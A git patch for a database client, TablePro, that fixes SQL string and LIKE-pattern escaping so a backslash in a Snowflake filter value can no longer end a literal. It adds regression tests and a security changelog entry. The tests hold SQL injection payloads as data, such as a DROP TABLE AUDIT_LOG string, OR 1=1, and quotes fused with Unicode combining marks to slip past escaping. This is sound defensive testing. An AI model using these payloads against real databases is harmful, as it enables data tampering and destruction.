diff --git a/linux/docs/decisions/README.md b/linux/docs/decisions/README.md
index 2c26060651..734ee04abe 100644
--- a/linux/docs/decisions/README.md
+++ b/linux/docs/decisions/README.md
@@ -77,6 +77,7 @@ A fact the repository keeps elsewhere, such as a workflow trigger, a branch, a v
 | [0027](0027-one-data-grid.md) | One data grid on GtkColumnView, with rows and a focused cell | Accepted | Every surface shows rows in one `DataGrid`: row selection plus a focused cell, stable row slots, a row number column, values as text and a row detail pane. |
 | [0028](0028-sessions-share-a-window.md) | A window holds several sessions in one tab view | Accepted | A `WorkspaceShell` per window shares one tab view among its sessions, each with its own workspace; the sidebar is a tree of the saved connections with each open session's schemas and tables. |
 | [0029](0029-images-decode-in-glycin.md) | Images from the database decode in glycin's sandbox | Accepted | Row Details decodes a value's picture with the glycin crate 3.x, in a sandboxed loader process, never with GTK's in-process loaders. |
+| [0030](0030-a-database-is-a-session-of-its-own.md) | A query tab's database, and another database as a session of its own | Accepted | A query tab's own editor session moves to its database through the driver, or opens there where the engine binds it at connect; another database the window shows is a sibling session with its own workspace and sidebar row. |
 
 0011 is not used. It was reserved for the DDL decision, which was recorded as 0010, and docs cite ADRs by number, so the later ones keep theirs.
 

From bd9181a81dfa9bc693aaad72d8c8fb7be628dd11 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Ng=C3=B4=20Qu=E1=BB=91c=20=C4=90=E1=BA=A1t?=
 <datlechin@gmail.com>
Date: Fri, 30 Oct 2026 19:44:06 +0700
Subject: [PATCH 44/44] fix(filters): escape a backslash in Snowflake filter
 values (#3906)

---
 .../TableProQuery/FilterSQLGenerator.swift    | 52 +++++++-------
 .../FilterSQLGeneratorTests.swift             | 36 ++++++++++
 .../Core/Database/FilterSQLGenerator.swift    | 59 +++++-----------
 .../TableProMobile/Helpers/SQLBuilder.swift   | 26 +------
 .../SQLBuilderFilterLiteralTests.swift        | 25 +++++++
 .../Database/FilterSQLGeneratorTests.swift    | 67 +++++++++++++++++++
 apple/changelog.d/3906.fixed.md               |  1 +
 apple/changelog.d/3906.security.md            |  1 +
 8 files changed, 173 insertions(+), 94 deletions(-)
 create mode 100644 apple/changelog.d/3906.fixed.md
 create mode 100644 apple/changelog.d/3906.security.md

diff --git a/apple/Packages/TableProCore/Sources/TableProQuery/FilterSQLGenerator.swift b/apple/Packages/TableProCore/Sources/TableProQuery/FilterSQLGenerator.swift
index 93db218345..a3f252e54b 100644
--- a/apple/Packages/TableProCore/Sources/TableProQuery/FilterSQLGenerator.swift
+++ b/apple/Packages/TableProCore/Sources/TableProQuery/FilterSQLGenerator.swift
@@ -87,13 +87,13 @@ public struct FilterSQLGenerator: Sendable {
             let escapedSecond = escapeValue(filter.secondValue, kind: kind)
             return "\(quotedColumn) BETWEEN \(escapedValue) AND \(escapedSecond)"
         case .contains:
-            let pattern = escapeLikePattern(filter.value)
+            let pattern = likePatternBody(filter.value)
             return likeCondition(operand, "'%\(pattern)%'", negated: false, folding: folding)
         case .startsWith:
-            let pattern = escapeLikePattern(filter.value)
+            let pattern = likePatternBody(filter.value)
             return likeCondition(operand, "'\(pattern)%'", negated: false, folding: folding)
         case .endsWith:
-            let pattern = escapeLikePattern(filter.value)
+            let pattern = likePatternBody(filter.value)
             return likeCondition(operand, "'%\(pattern)'", negated: false, folding: folding)
         }
     }
@@ -159,7 +159,7 @@ public struct FilterSQLGenerator: Sendable {
         _ column: String, _ pattern: String, negated: Bool, folding: PluginSQLCaseFolding
     ) -> String {
         let keyword = negated ? folding.notLikeKeyword : folding.likeKeyword
-        return "\(folding.foldingLikeOperand(column)) \(keyword) \(folding.foldingLikeOperand(pattern))\(likeEscape)"
+        return "\(folding.foldingLikeOperand(column)) \(keyword) \(folding.foldingLikeOperand(pattern))\(likeEscapeClause)"
     }
 
     private func listCondition(
@@ -178,7 +178,7 @@ public struct FilterSQLGenerator: Sendable {
         return "\(subject) \(keyword) (\(rendered.joined(separator: ", ")))"
     }
 
-    private var likeEscape: String {
+    public var likeEscapeClause: String {
         switch dialect.likeEscapeStyle {
         case .explicit:
             return " ESCAPE '!'"
@@ -187,6 +187,17 @@ public struct FilterSQLGenerator: Sendable {
         }
     }
 
+    // The LIKE layer first, with the escape `likeEscapeClause` names, then the literal rule over the whole pattern.
+    public func likePatternBody(_ value: String) -> String {
+        let escape = dialect.likeEscapeStyle == .implicit ? "\\" : "!"
+        // `[` opens a character class in a SQL Server LIKE pattern.
+        let metacharacters = [escape, "%", "_"] + (databaseType == .mssql ? ["["] : [])
+        let pattern = metacharacters.reduce(value) { pattern, metacharacter in
+            pattern.replacingOccurrences(of: metacharacter, with: escape + metacharacter, options: .literal)
+        }
+        return literalBody(pattern)
+    }
+
     private func quoteIdentifier(_ name: String) -> String {
         if let identifierQuoter { return identifierQuoter(name) }
         let open = dialect.identifierQuote
@@ -199,32 +210,15 @@ public struct FilterSQLGenerator: Sendable {
         if FilterColumnKind.isBareNumber(value, kind: kind) {
             return value
         }
-        var escaped = value.replacingOccurrences(of: "\0", with: "")
-        if dialect.requiresBackslashEscaping {
-            escaped = escaped.replacingOccurrences(of: "\\", with: "\\\\")
-        }
-        escaped = escaped.replacingOccurrences(of: "'", with: "''")
-        return "'\(escaped)'"
+        return "'\(literalBody(value))'"
     }
 
-    private func escapeLikePattern(_ value: String) -> String {
-        var result = value
-            .replacingOccurrences(of: "'", with: "''")
-            .replacingOccurrences(of: "\0", with: "")
-        switch dialect.likeEscapeStyle {
-        case .explicit:
-            result = result
-                .replacingOccurrences(of: "!", with: "!!")
-                .replacingOccurrences(of: "%", with: "!%")
-                .replacingOccurrences(of: "_", with: "!_")
-        case .implicit:
-            if dialect.requiresBackslashEscaping {
-                result = result.replacingOccurrences(of: "\\", with: "\\\\")
-            }
-            result = result
-                .replacingOccurrences(of: "%", with: "\\%")
-                .replacingOccurrences(of: "_", with: "\\_")
+    // `.literal` compares code units: the default compares grapheme clusters and skips a quote a combining mark follows.
+    private func literalBody(_ value: String) -> String {
+        var body = value.replacingOccurrences(of: "\0", with: "", options: .literal)
+        if dialect.requiresBackslashEscaping {
+            body = body.replacingOccurrences(of: "\\", with: "\\\\", options: .literal)
         }
-        return result
+        return body.replacingOccurrences(of: "'", with: "''", options: .literal)
     }
 }
diff --git a/apple/Packages/TableProCore/Tests/TableProQueryTests/FilterSQLGeneratorTests.swift b/apple/Packages/TableProCore/Tests/TableProQueryTests/FilterSQLGeneratorTests.swift
index 0e64785a6e..1e693abbaa 100644
--- a/apple/Packages/TableProCore/Tests/TableProQueryTests/FilterSQLGeneratorTests.swift
+++ b/apple/Packages/TableProCore/Tests/TableProQueryTests/FilterSQLGeneratorTests.swift
@@ -198,6 +198,42 @@ struct FilterSQLGeneratorTests {
         #expect(clause("code", "a\\' OR 1=1 -- ", dialect: mysql) == "WHERE `code` = 'a\\\\'' OR 1=1 -- '")
     }
 
+    // Snowflake takes an ESCAPE clause for LIKE and still reads `\'` inside a literal as a quote.
+    @Test("A LIKE pattern doubles a backslash where the engine reads it as an escape, whatever the LIKE style")
+    func likeDoublesBackslashForTheLiteral() {
+        let explicitBackslash = SQLDialectDescriptor(
+            identifierQuote: "\"", keywords: [], functions: [], dataTypes: [],
+            likeEscapeStyle: .explicit, requiresBackslashEscaping: true
+        )
+        #expect(
+            clause("code", #"\' OR 1=1 -- "#, op: .contains, dialect: explicitBackslash)
+                == #"WHERE "code" LIKE '%\\'' OR 1=1 -- %' ESCAPE '!'"#
+        )
+    }
+
+    @Test("A MySQL LIKE keeps a backslash literal through the string and the pattern")
+    func mysqlLikeBackslashIsLiteral() {
+        let mysql = makeDialect(quote: "`", backslashEscaping: true)
+        #expect(clause("code", #"a\b%"#, op: .contains, dialect: mysql) == #"WHERE `code` LIKE '%a\\\\b\\%%'"#)
+    }
+
+    @Test("A SQL Server LIKE escapes an opening bracket")
+    func mssqlLikeEscapesBracket() {
+        let generator = FilterSQLGenerator(dialect: makeDialect(quote: "["), databaseType: .mssql)
+        let filter = TableFilter(columnName: "code", filterOperator: .contains, value: "[a]")
+        #expect(generator.generateWhereClause(from: [filter], logicMode: .and) == "WHERE [code] LIKE '%![a]%' ESCAPE '!'")
+    }
+
+    // A combining mark joins the quote into one grapheme cluster.
+    @Test("A quote fused with a combining mark is still escaped")
+    func fusedQuoteIsEscaped() {
+        #expect(clause("code", "x'\u{0301} OR 1=1 --") == "WHERE \"code\" = 'x''\u{0301} OR 1=1 --'")
+        #expect(
+            clause("code", "x'\u{0301})", op: .contains)
+                == "WHERE \"code\" LIKE '%x''\u{0301})%' ESCAPE '!'"
+        )
+    }
+
     @Test("A backslash stays single where the engine reads it as a character")
     func backslashStaysSingle() {
         #expect(clause("path", "C:\\temp") == "WHERE \"path\" = 'C:\\temp'")
diff --git a/apple/TablePro/Core/Database/FilterSQLGenerator.swift b/apple/TablePro/Core/Database/FilterSQLGenerator.swift
index 6f0f1b97f0..96b8a39e75 100644
--- a/apple/TablePro/Core/Database/FilterSQLGenerator.swift
+++ b/apple/TablePro/Core/Database/FilterSQLGenerator.swift
@@ -160,7 +160,7 @@ struct FilterSQLGenerator {
         case .regex:
             let operand = patternOperand(quotedColumn, columnType: columnType)
             guard dialect.regexSyntax != .unsupported else {
-                let pattern = quotedLiteral("%\(escapeSQLQuote(filter.value))%")
+                let pattern = quotedLiteral("%\(escapeStringValue(filter.value))%")
                 return "\(folding.foldingLikeOperand(operand)) \(folding.likeKeyword) "
                     + folding.foldingLikeOperand(pattern)
             }
@@ -322,9 +322,7 @@ struct FilterSQLGenerator {
 
     // MARK: - LIKE Conditions
 
-    /// Database-specific ESCAPE clause for LIKE patterns.
-    /// Implicit style (MySQL/MariaDB): backslash is the default LIKE escape, no clause needed.
-    /// Explicit style: requires an ESCAPE declaration.
+    // An implicit-style engine escapes LIKE with a backslash by default and takes no clause.
     private var likeEscapeClause: String {
         if dialect.likeEscapeStyle == .implicit { return "" }
         return " ESCAPE '!'"
@@ -364,7 +362,7 @@ struct FilterSQLGenerator {
         negated: Bool,
         folding: PluginSQLCaseFolding
     ) -> String {
-        let quotedPattern = quotedLiteral(escapeSQLQuote(pattern))
+        let quotedPattern = quotedLiteral(escapeStringValue(pattern))
         let keyword = negated ? folding.notLikeKeyword : folding.likeKeyword
         let operand = folding.foldingLikeOperand(column)
         return "\(operand) \(keyword) \(folding.foldingLikeOperand(quotedPattern))\(likeEscapeClause)"
@@ -523,50 +521,27 @@ struct FilterSQLGenerator {
         return isTrue ? "1" : "0"
     }
 
-    /// Escape only single quotes for SQL string literal context.
-    /// Used for LIKE patterns where wildcards are already escaped
-    /// by escapeLikeWildcards for the ESCAPE clause.
-    private func escapeSQLQuote(_ value: String) -> String {
-        guard value.contains("'") else { return value }
-        return value.replacingOccurrences(of: "'", with: "''")
+    // Snowflake takes `ESCAPE '!'` yet reads `\'` as a quote; BigQuery and Spanner read `\` without declaring it.
+    private var literalsReadBackslash: Bool {
+        dialect.requiresBackslashEscaping || dialect.likeEscapeStyle == .implicit
     }
 
-    /// Escape special characters in string values
+    // `.literal` compares code units: the default compares grapheme clusters and skips a quote a combining mark follows.
     private func escapeStringValue(_ value: String) -> String {
-        // Fast path: most values have no special chars
-        if dialect.likeEscapeStyle == .implicit {
-            // MySQL/MariaDB/ClickHouse: backslash is significant in string literals
-            guard value.contains("\\") || value.contains("'") else { return value }
-            return value
-                .replacingOccurrences(of: "\\", with: "\\\\")
-                .replacingOccurrences(of: "'", with: "''")
-        } else {
-            // ANSI SQL: only single-quote needs escaping
-            guard value.contains("'") else { return value }
-            return value.replacingOccurrences(of: "'", with: "''")
-        }
+        let body = literalsReadBackslash
+            ? value.replacingOccurrences(of: "\\", with: "\\\\", options: .literal)
+            : value
+        return body.replacingOccurrences(of: "'", with: "''", options: .literal)
     }
 
+    // Only the LIKE layer: escapeStringValue then spells the pattern as a literal.
     private func escapeLikeWildcards(_ value: String) -> String {
-        if dialect.likeEscapeStyle == .implicit {
-            guard value.contains("\\") || value.contains("%") || value.contains("_") else { return value }
-            // MySQL uses \ as both string escape and default LIKE escape.
-            // Need double backslash in SQL string so string layer yields single \
-            // which LIKE then uses as escape char.
-            return value
-                .replacingOccurrences(of: "\\", with: "\\\\\\\\")
-                .replacingOccurrences(of: "%", with: "\\\\%")
-                .replacingOccurrences(of: "_", with: "\\\\_")
-        }
+        let escape = dialect.likeEscapeStyle == .implicit ? "\\" : "!"
         // `[` opens a character class in a SQL Server LIKE pattern.
-        let escapesBracket = family == .mssql
-        guard value.contains("!") || value.contains("%") || value.contains("_")
-            || escapesBracket && value.contains("[") else { return value }
-        let escaped = value
-            .replacingOccurrences(of: "!", with: "!!")
-            .replacingOccurrences(of: "%", with: "!%")
-            .replacingOccurrences(of: "_", with: "!_")
-        return escapesBracket ? escaped.replacingOccurrences(of: "[", with: "![") : escaped
+        let metacharacters = [escape, "%", "_"] + (family == .mssql ? ["["] : [])
+        return metacharacters.reduce(value) { pattern, metacharacter in
+            pattern.replacingOccurrences(of: metacharacter, with: escape + metacharacter, options: .literal)
+        }
     }
 }
 
diff --git a/apple/TableProMobile/TableProMobile/Helpers/SQLBuilder.swift b/apple/TableProMobile/TableProMobile/Helpers/SQLBuilder.swift
index 1111957986..cc0065f44b 100644
--- a/apple/TableProMobile/TableProMobile/Helpers/SQLBuilder.swift
+++ b/apple/TableProMobile/TableProMobile/Helpers/SQLBuilder.swift
@@ -338,15 +338,14 @@ nonisolated enum SQLBuilder {
         let trimmed = searchText.trimmingCharacters(in: .whitespacesAndNewlines)
         guard !trimmed.isEmpty, !columns.isEmpty else { return "" }
 
-        let dialect = dialectDescriptor(for: type)
-        let pattern = escapeLikePattern(trimmed, dialect: dialect)
-        let likeEscape: String = dialect.likeEscapeStyle == .explicit ? " ESCAPE '!'" : ""
+        let generator = filterGenerator(dialect: dialectDescriptor(for: type), type: type)
+        let pattern = generator.likePatternBody(trimmed)
 
         let conditions = columns.map { col -> String in
             let quotedCol = quoteIdentifier(col.name, for: type)
             let castExpr = searchCastExpression(quotedCol, for: type)
             let likeOp = (type == .postgresql || type == .redshift) ? "ILIKE" : "LIKE"
-            return "\(castExpr) \(likeOp) '%\(pattern)%'\(likeEscape)"
+            return "\(castExpr) \(likeOp) '%\(pattern)%'\(generator.likeEscapeClause)"
         }
 
         return "(\(conditions.joined(separator: " OR ")))"
@@ -370,25 +369,6 @@ nonisolated enum SQLBuilder {
         }
     }
 
-    private static func escapeLikePattern(_ value: String, dialect: SQLDialectDescriptor) -> String {
-        var result = value
-            .replacingOccurrences(of: "'", with: "''")
-            .replacingOccurrences(of: "\0", with: "")
-        if dialect.likeEscapeStyle == .explicit {
-            result = result
-                .replacingOccurrences(of: "!", with: "!!")
-                .replacingOccurrences(of: "%", with: "!%")
-                .replacingOccurrences(of: "_", with: "!_")
-        } else {
-            if dialect.requiresBackslashEscaping {
-                result = result.replacingOccurrences(of: "\\", with: "\\\\")
-            }
-            result = result.replacingOccurrences(of: "%", with: "\\%")
-            result = result.replacingOccurrences(of: "_", with: "\\_")
-        }
-        return result
-    }
-
     private static func buildOrderByClause(_ sortState: SortState, for type: DatabaseType) -> String {
         guard sortState.isSorting else { return "" }
         let clauses = sortState.columns.map { col in
diff --git a/apple/TableProMobile/TableProMobileTests/Helpers/SQLBuilderFilterLiteralTests.swift b/apple/TableProMobile/TableProMobileTests/Helpers/SQLBuilderFilterLiteralTests.swift
index dab720d898..bf48bbc4c6 100644
--- a/apple/TableProMobile/TableProMobileTests/Helpers/SQLBuilderFilterLiteralTests.swift
+++ b/apple/TableProMobile/TableProMobileTests/Helpers/SQLBuilderFilterLiteralTests.swift
@@ -70,6 +70,31 @@ struct SQLBuilderFilterLiteralTests {
         ) == "SELECT COUNT(*) FROM `files` WHERE `path` = 'C:\\\\temp\\\\'")
     }
 
+    private func search(_ type: DatabaseType, _ text: String) -> String {
+        SQLBuilder.buildSearchCount(
+            table: "t", schema: nil, type: type, searchText: text, searchColumns: [ColumnInfo(name: "name", typeName: "TEXT")]
+        )
+    }
+
+    @Test("A MySQL search keeps a backslash literal through the string and the pattern")
+    func mysqlSearchBackslashIsLiteral() {
+        #expect(search(.mysql, #"a\b"#) == #"SELECT COUNT(*) FROM `t` WHERE (CAST(`name` AS CHAR) LIKE '%a\\\\b%')"#)
+    }
+
+    @Test("A SQL Server search escapes an opening bracket")
+    func mssqlSearchEscapesBracket() {
+        #expect(search(.mssql, "[a]") == "SELECT COUNT(*) FROM [t] WHERE (CAST([name] AS NVARCHAR(MAX)) LIKE '%![a]%' ESCAPE '!')")
+    }
+
+    // A combining mark joins the quote into one grapheme cluster.
+    @Test("A search quote fused with a combining mark is still escaped")
+    func searchFusedQuoteIsEscaped() {
+        #expect(
+            search(.postgresql, "x'\u{0301})")
+                == "SELECT COUNT(*) FROM \"t\" WHERE (CAST(\"name\" AS TEXT) ILIKE '%x''\u{0301})%' ESCAPE '!')"
+        )
+    }
+
     // ClickHouse reads backslash escapes inside backticks, so a name ending in a backslash would leave the quote open.
     @Test("A ClickHouse filter quotes its column the way the table and the writes do")
     func clickHouseColumnEndingInABackslash() {
diff --git a/apple/TableProTests/Core/Database/FilterSQLGeneratorTests.swift b/apple/TableProTests/Core/Database/FilterSQLGeneratorTests.swift
index 9126b678f0..34f8a47c9f 100644
--- a/apple/TableProTests/Core/Database/FilterSQLGeneratorTests.swift
+++ b/apple/TableProTests/Core/Database/FilterSQLGeneratorTests.swift
@@ -56,6 +56,13 @@ struct FilterSQLGeneratorTests {
         offsetFetchOrderBy: ""
     )
 
+    private static let snowflakeDialect = SQLDialectDescriptor(
+        identifierQuote: "\"", keywords: [], functions: [], dataTypes: [],
+        regexSyntax: .regexpLike, booleanLiteralStyle: .truefalse,
+        likeEscapeStyle: .explicit, paginationStyle: .limit,
+        requiresBackslashEscaping: true
+    )
+
     // MARK: - Per-Operator Tests (MySQL)
 
     @Test("Equal operator generates correct condition")
@@ -1038,4 +1045,64 @@ struct FilterSQLGeneratorTests {
         let result = generator.generateCondition(from: filter)
         #expect(result == "`status` IS NULL")
     }
+
+    // MARK: - Literal Escaping
+
+    private func condition(
+        _ dialect: SQLDialectDescriptor, _ filterOperator: FilterOperator, _ value: String, column: String = "code"
+    ) -> String? {
+        FilterSQLGenerator(dialect: dialect).generateCondition(from: TableFilter(
+            columnName: column, filterOperator: filterOperator, value: value, isCaseSensitive: true
+        ))
+    }
+
+    // Snowflake takes an ESCAPE clause for LIKE and still reads `\'` inside a literal as a quote.
+    @Test("A Snowflake filter value doubles its backslash, whatever the operator", arguments: [
+        (FilterOperator.equal, #""CODE" = '\\''; DROP TABLE AUDIT_LOG; --'"#),
+        (.inList, #""CODE" IN ('\\''; DROP TABLE AUDIT_LOG; --')"#),
+        (.contains, #""CODE" LIKE '%\\''; DROP TABLE AUDIT!_LOG; --%' ESCAPE '!'"#),
+        (.startsWith, #""CODE" LIKE '\\''; DROP TABLE AUDIT!_LOG; --%' ESCAPE '!'"#),
+        (.regex, #"REGEXP_LIKE("CODE", '\\''; DROP TABLE AUDIT_LOG; --')"#)
+    ])
+    func snowflakeDoublesBackslash(filterOperator: FilterOperator, expected: String) {
+        #expect(condition(Self.snowflakeDialect, filterOperator, #"\'; DROP TABLE AUDIT_LOG; --"#, column: "CODE") == expected)
+    }
+
+    @Test("A Snowflake LIKE pattern reads a backslash as a character, not as its escape")
+    func snowflakeLikeBackslashIsLiteral() {
+        #expect(condition(Self.snowflakeDialect, .endsWith, #"C:\temp\"#) == #""code" LIKE '%C:\\temp\\' ESCAPE '!'"#)
+    }
+
+    @Test("The LIKE a regex falls back to doubles a backslash where the engine reads it as an escape")
+    func regexFallbackDoublesBackslash() {
+        let implicitWithoutRegex = SQLDialectDescriptor(
+            identifierQuote: "`", keywords: [], functions: [], dataTypes: [],
+            regexSyntax: .unsupported, booleanLiteralStyle: .truefalse,
+            likeEscapeStyle: .implicit, paginationStyle: .limit
+        )
+        #expect(condition(implicitWithoutRegex, .regex, #"\' OR 1=1 -- "#) == #"`code` LIKE '%\\'' OR 1=1 -- %'"#)
+        #expect(condition(Self.sqliteDialect, .regex, #"\' OR 1=1 -- "#) == #"`code` LIKE '%\'' OR 1=1 -- %'"#)
+    }
+
+    @Test("A MySQL LIKE keeps a backslash literal through the string and the pattern")
+    func mysqlLikeBackslash() {
+        #expect(condition(Self.mysqlDialect, .contains, #"a\b%"#) == #"`code` LIKE '%a\\\\b\\%%'"#)
+    }
+
+    // A combining mark or a Prepend scalar joins the quote or backslash into one grapheme cluster.
+    @Test("A quote or backslash fused with its neighbour is still escaped", arguments: [
+        ("x'\u{0301} OR 1=1 --", #"`code` = 'x''"# + "\u{0301}" + #" OR 1=1 --'"#),
+        ("\u{0600}\\' OR 1=1 --", "`code` = '\u{0600}" + #"\\'' OR 1=1 --'"#)
+    ])
+    func fusedQuoteIsEscaped(value: String, expected: String) {
+        #expect(condition(Self.mysqlDialect, .equal, value) == expected)
+    }
+
+    @Test("A quote fused with a combining mark is escaped in a LIKE pattern")
+    func fusedQuoteInLikeIsEscaped() {
+        #expect(
+            condition(Self.postgresqlDialect, .contains, "x'\u{0301})")
+                == "\"code\" LIKE '%x''\u{0301})%' ESCAPE '!'"
+        )
+    }
 }
diff --git a/apple/changelog.d/3906.fixed.md b/apple/changelog.d/3906.fixed.md
new file mode 100644
index 0000000000..a8bc15a191
--- /dev/null
+++ b/apple/changelog.d/3906.fixed.md
@@ -0,0 +1 @@
+On iOS, a search or filter with a backslash on MySQL or ClickHouse, or with `[` on SQL Server, matched the wrong rows.
diff --git a/apple/changelog.d/3906.security.md b/apple/changelog.d/3906.security.md
new file mode 100644
index 0000000000..5ffab5534c
--- /dev/null
+++ b/apple/changelog.d/3906.security.md
@@ -0,0 +1 @@
+A backslash in a Snowflake filter value could end its string literal and run the rest as SQL.